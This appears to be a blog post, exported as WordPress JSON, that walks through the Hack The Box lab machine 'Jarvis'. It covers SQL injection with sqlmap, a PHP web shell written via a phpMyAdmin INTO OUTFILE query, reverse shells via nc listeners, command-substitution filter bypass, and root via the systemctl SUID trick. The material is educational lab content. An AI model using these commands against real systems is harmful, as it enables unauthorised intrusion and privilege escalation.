{"id":218,"date":"2020-05-26T08:02:07","date_gmt":"2020-05-26T08:02:07","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=218"},"modified":"2020-05-26T08:08:53","modified_gmt":"2020-05-26T08:08:53","slug":"jarvis-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/jarvis-hackthebox-walkthrough\/","title":{"rendered":"Jarvis: Hackthebox walkthrough"},"content":{"rendered":"\n<p>Hey all! This is Shreya Pohekar. This walkthrough will solve Jarvis from hackthebox.<\/p>\n\n\n\n<p>Jarvis is an easy linux machine. The initial foothold on the box is based on exploiting the sqli to gain creds of dbadmin. Phpmyadmin is accessible to the users and can be logged via the creds of dbadmin. The initial shell can be obtained by uploading a web shell to the box.<br> Escalation to user exploits a python file that is running with the privileges of user.<br> Finally, elevating user privileges is based on exploiting systemctl, as the user can run the binary.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">With all that said, Lets get started!<\/h4>\n\n\n\n<p>Starting with the nmap scan, I found 2 open ports<strong> 22<\/strong> and <strong>80<\/strong>.&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV -o jarvis.nmap 10.10.10.143<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/2H2yYX_UnIsY8C3ZFdO2zaeYV5k1IymtSyzdQpk-eAgJxEpHO4aHDYegoOJSXgJxAXeEzJC3qXN3twfVPSmfxvcQQbYC_-Nt9BzExUW8_7cfdqerN6Z7Juc3VAszOdEXF5R-17FP\" alt=\"\"\/><\/figure>\n\n\n\n<p>So on a obvious note, we have to start further recon with port 80.&nbsp;<\/p>\n\n\n\n<p>Upon visiting<span class=\"has-inline-color has-vivid-cyan-blue-color\"> http:\/\/10.10.10.143<\/span>  , a page landed up.<\/p>\n\n\n\n<p>On the top left, <strong>supersecurehotel.htb<\/strong> was written, so i made an entry to <strong>\/etc\/hosts<\/strong> to check if any new page comes up. But, it didnt!&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/G9QIER79p8Vk648ivFR8YjzhOdy-_-qKaXpyyWtuCgx5SlnnC6OlMqMFKIclI1jC4BZlYBhCRBxSuliAHnlERQpB2X1_XcZyWfa3xoXOCy9JxD3XpLQkLWf3mDfXysSkLGneyakF\" alt=\"\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Getting the initial shell <\/h2>\n\n\n\n<p>Clicking through the buttons(book now), I found <strong>room.php<\/strong> having a parameter <strong>cod<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/S0KqpZXPPEYz205PPmQXxCGoLvF56YxNvOojZaHwMn0yJg3mjOijIsSvMbcPmHbZEq7aE4B8AH7p0-f9_FRxKmADkVyKobn2vGegag5Y1kWvo3OlXR510wpuUEVHlIsFSFbL1bRV\" alt=\"\"\/><\/figure>\n\n\n\n<p>In the URL<strong> <\/strong>I tried writing a quote after cod=3 (as <strong>cod=3\u2019<\/strong>) and the page acted weird. I realized that this can be the point of SQL injection. So i quickly captured the request through burp and copied it to a file named room.req.<\/p>\n\n\n\n<p class=\"wpf-blue-background pad\">GET \/room.php?cod=1 HTTP\/1.1\nHost: supersecurehotel.htb<br>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:76.0) Gecko\/20100101 Firefox\/76.0<br>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br>\nAccept-Language: en-US,en;q=0.5<br>\nAccept-Encoding: gzip, deflate<br>\nConnection: close<br>\nCookie: PHPSESSID=ai7hje9buh3uscu5n5hgs9uff5<br>\nUpgrade-Insecure-Requests: 1<br>\nCache-Control: max-age=0<br>\n<\/p>\n\n\n\n<p>Ran a sqlmap over the request<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># sqlmap -r room.req&nbsp; --batch --all<\/pre>\n\n\n\n<p> I found the password for <strong>DBadmin<\/strong> to be <strong>imissyou <\/strong>in the sql dump.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/PVMUUm19YuDLSmD2u_FhhqNs_7L12gJuXZOnUgAK9Y9HAB9wSReJG5ZNzwen0-6lJMiEnNAguKhueFvG8agC6H_NCM9ENPbY1AqwW5QgLYbYwjEIT6J_Mxem65b1-pemxRTZVXK0\" alt=\"\"\/><\/figure>\n\n\n\n<p>Alongside manual enumeration, I spawned up a <strong>gobuster<\/strong> scan that listed a few accessible directories. One of them being<strong> phpmyadmin<\/strong>. I could possibly login to the dashboard via the creds obtained.&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># gobuster dir --url http:\/\/10.10.10.143 -t 50 -w \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/oE34W2eIPZNICzXRtvoJxdZg993Q8oWUetsKOWA230zqw1c_40fMlkuKxw0LAiEGCOxBU3wRyjWzyT1Cojedz10h2JZaVMctRajXPLKlYkNdsHWb20I03OzwYJfnGXDkWf25nddJ\" alt=\"\"\/><\/figure>\n\n\n\n<p>Upon visiting <a href=\"http:\/\/10.10.10.143\/phpmyadmin\">http:\/\/10.10.10.143\/phpmyadmin<\/a> and a login page appeared, and I entered the creds.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/R0rFWMnblPPXOYjRxyzyveCnaH_12NusKgZ6v7hPzyJmH33wM3q2nGbkENTiolWl7CisdItRLF1Q1TnQToewNtlxfnyVviMC0JgR-tie_SLdgAKsSP8Ojy5zBlUMF_av0CBVl_WP\" alt=\"\"\/><\/figure>\n\n\n\n<p>Kudos!! Got access to the dashboard.<\/p>\n\n\n\n<p>Scrolling through all the databases, I found nothing interesting.<\/p>\n\n\n\n<p>I then realized that a<strong> web shell<\/strong> can be uploaded by running sql commands.<\/p>\n\n\n\n<p>So I hovered to section of sql queries and ran the following command:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">SELECT \"&lt;?php system($_GET['cmd']); ?&gt;\" into outfile \"\/var\/www\/html\/backdoor.php\"<\/pre>\n\n\n\n<p>The command injects a simple webshell into a file<strong> backdoor.php<\/strong> that will be uploaded in the root directory <strong>(\/var\/www\/html)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/hBf8KPdx9bZ0MCSzsvednl5NFbjKN_8xOzEosgSiQEpJF2g4qWM9CeqdHbQRKMdd4OMpMef8V6PIAKObhtm5ICC3sBFdkX-CZRAqApZeZiUcS1SOArC35Pf9gJ4szmfWwn5Nni7t\" alt=\"\"\/><\/figure>\n\n\n\n<p>The query ran successfully and now i have a file uploaded.&nbsp;<\/p>\n\n\n\n<p>I checked the presence of file by visiting <a href=\"http:\/\/10.10.10.143\/backdoor.php\">http:\/\/10.10.10.143\/backdoor.php<\/a> . Appearance of the blank page confirmed it.<\/p>\n\n\n\n<p>I captured this request using burp and copied a reverse shell from <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">pentest monkey<\/a> <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/LYswzgxmcXD7yAJnp3V521g-HzYhkNakOueE9gmjdZ1Hmi_L2zu9NpvDJclcXI9nCVEcvKTTuZ3UJK61YOPxS3qc-9PmMYZG1gu298faXD0F7vNAkqaYrVflxoGan4UfNWzsyDpf\" alt=\"\"\/><\/figure>\n\n\n\n<p>You can url-encode the shell with <strong>ctrl + u<\/strong>. Also, I opend up a <strong>nc listener<\/strong> on port <strong>1234<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/Al2-cavifT92r1dWIH6Ma8xZj1oWOX4nMNGPM0lQK5Sh-5gcNqr9RKt3qZXJ-nCXbZrYQ6ZrN_ncxe0eKdPlr1ro4vXuDHn7EQ0MFOCZ3hpHroQ01RDmADX6Ryi-IUwNEOKfbElh\" alt=\"\"\/><\/figure>\n\n\n\n<p>And got a shell with <strong>www-data<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Escalation to user : Pepper<\/h2>\n\n\n\n<p>I then ran <a href=\"https:\/\/github.com\/carlospolop\/privilege-escalation-awesome-scripts-suite\/tree\/master\/linPEAS\">linpeas.sh<\/a> on the box, and found out that www-data has the privileges to run <strong>\/var\/www\/Admin-Utilities\/simpler.py<\/strong> with the privileges of user <strong>pepper<\/strong>.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/bTPplemWRLEs-eR7t52ypk5VTUU4Gl88-Nrldd4WLcliHQsXUe-R_d0Zf0-qL9gWHNCh4Hj7b35mPWP1SHjhCnbn8Ucn-u42Sjf5uG0egGuDKrBaOWPJsYGeDeHxDiX_3jyEEa3e\" alt=\"\"\/><\/figure>\n\n\n\n<p>I grabbed for the contents of the file and found a method that was pretty interesting. Os.system is called, but to make things difficult, the developer has forbidden certain characters.&nbsp;<\/p>\n\n\n\n<p>I tried around for a while and found out that $(command) can be used as a bash substitution and hence the weak sanitization can be bypassed.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/pICoQbbkp1HmAweLFFhnwHPXSHauULqCkxTuDazwn4gqsNY7M3E4qrsSrbKWCgFnkwVWMt5ZWFUnzrFUQM9UlSvBuWxHO_YlL4m3ZEAhygBQXSmLK3KDYQdpqu3HGHVX-QVsjQNv\" alt=\"\"\/><figcaption>method in simpler.py<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Z-cHQFtE4pMRAhWKp3O1UtVDQ0uu8DSL3uv6BGnxWW0X9jrxxf17GyWxS5uf5IQhNt7Bqs-k6rBoR7NHffOqIMe9j0w4cJJP2I99aFZMv6f7anPfHi1t6ec0OCexZprN-3WQAPQI\" alt=\"\"\/><\/figure>\n\n\n\n<p>So running<strong> $(\/bin\/bash)<\/strong> executed the binary with the privileges of pepper and got us the shell.<\/p>\n\n\n\n<p>But the shell wasnt good (didnt gave any output for commands).&nbsp;<\/p>\n\n\n\n<p>So again I opened up a listener on <strong>port 8888<\/strong> and entered a reverse shell from pentestmonkey on the obtained shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/p3AMDjVbA-s0AVKEHfZ-cBTajdtN-l1cMHKIh7HN78TSTF1Wwjc4DNjUQrHc44gX6SYGnW8N4XEzcRDpPAi_yZWPC8mGYZ5arV4CCSFZVI6qy2Wzlm-6TCKjYHVecoYphwWSC7Ba\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/DPRPeG0MxMtAvsXgrrM1DqLX28CfUg2-Mxskt9eqGPxb2oc3XxyGZPTIUjzPHH6tLKuL372u_GV6RynRh-L7grGEzazMtLYs1wEUOIcnCj3-bS5xFPhbm9U8y559iRS0PnjbOiuJ\" alt=\"\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">To get a proper shell, perform the following steps (optional)<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># python3 -c \u2018import pty;pty.spawn(\u201c\/bin\/bash\u201d)\u2019\n ctrl+z \n# stty raw -echo;\n# fg (then press enter 2 times and you are back the shell)\n# stty  rows 34 cols 134 \n# export TERM=xterm <\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Privilege escalation to root<\/h2>\n\n\n\n<p>Initially in the enumeration phase with linpeas.sh, I found out that <strong>systemctl<\/strong> (had an suid bit set) was in the pepper group and owned by root and that was interesting. Now since I am pepper, I can now escalate my privileges to root.<\/p>\n\n\n\n<p>We can also find out with the command<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># find \/ -perm -4000 2&gt;\/dev\/null<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/llMg8QaHZ7MwIWJ7UZUuXaPOUKyfxZSImfapIFhChBbu_C6QOrdxCIzpJRKqQX2NRy0YWL8mcqHAegdRH1vQ9Nl-87-Q6hAm5epCz0fCEnG32EM8AzYl4Q0ZaLIM-EjpG0wNMRPx\" alt=\"\"\/><\/figure>\n\n\n\n<p>I googled for privilege escalation with systemctl and got a link to <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/systemctl\/\">gtfobins<\/a>. Nothing can be more better!!&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/udg8ivn1xN4s5iIc0xsLmO4BbL7VE2Buvl5dMPv6D8LFsEig3_Oc0XcYiIbF07mNodMx6OuiRfFV76dlPPkwlSSWO6l_PGx12cHJcw-YtFaVX-6XbE2vUHV1hxLEDc1ORzBYQojj\" alt=\"\"\/><\/figure>\n\n\n\n<p>mktemp creates temporary file beneath the specified directory.<br> And we are echoing a basic shell into the file that would be running with elevated privileges.<br> SYSTEMD_EDITOR opens up an editor and edit the system.slice with the contents of $TF<\/p>\n\n\n\n<p style=\"background-color:#fff3eb;color:#9d1212\" class=\"has-text-color has-background\"><strong>Note:<\/strong> A slice unit is a concept for hierarchically managing resources of a group of processes. service and scope units are placed in system.slice by default.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"> # TF=$(mktemp)\n # echo \/bin\/sh &gt; $TF\n # chmod +x $TF\n # SYSTEMD_EDITOR=$TF systemctl edit system.slice<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/D1g9BaBgCS1W4mWXrOEtsX2m7q2PzJ4j-PXGrSVhTnT3ngKHVN5k5GGTU7ngFGlWpJm5D49oNgaLabd86lw530jZ4YhRE3Rg5xodVZRAEGUl2qexjHL8Le0nS8L1yFiOlJ4irvfs\" alt=\"\"\/><\/figure>\n\n\n\n<p>And the <strong>root is owned!!<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/ZLm_B2chbR9mhxGMBmRBKiMZYk4gmaIQ60oSRtwhlyj4rN_abGajKbhJvizbhDuh1ODekWlKyLTfF3ipPvDohDyY8SOqhZbe7yZElfQpkmJdLpyLS-8V6I0f7mh-mDWi1J2kXwCe\" alt=\"\"\/><\/figure>\n\n\n\n<p>Thats all for the blog post!! Thanks for reading!! If you enjoyed reading the post, do like it!<\/p>\n\n\n\n<p>Until then, Happy HAcKing!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey all! This is Shreya Pohekar. This walkthrough will solve Jarvis from hackthebox. Jarvis is an easy linux machine. The initial foothold on the box is based on exploiting the sqli to gain creds of dbadmin. Phpmyadmin is accessible to the users and can be logged via the creds of dbadmin. The initial shell can [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":229,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2],"tags":[70,102,26,54,100,95,101,99,52,9,98,97,96],"class_list":["post-218","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","tag-gtfobins","tag-hacking","tag-hackthebox","tag-htb","tag-infosec","tag-jarvis","tag-pentest","tag-phpmyadmin","tag-red-teaming","tag-sql-injection","tag-sudo","tag-sudo-u","tag-systemctl","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/218"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=218"}],"version-history":[{"count":6,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/218\/revisions"}],"predecessor-version":[{"id":231,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/218\/revisions\/231"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/229"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}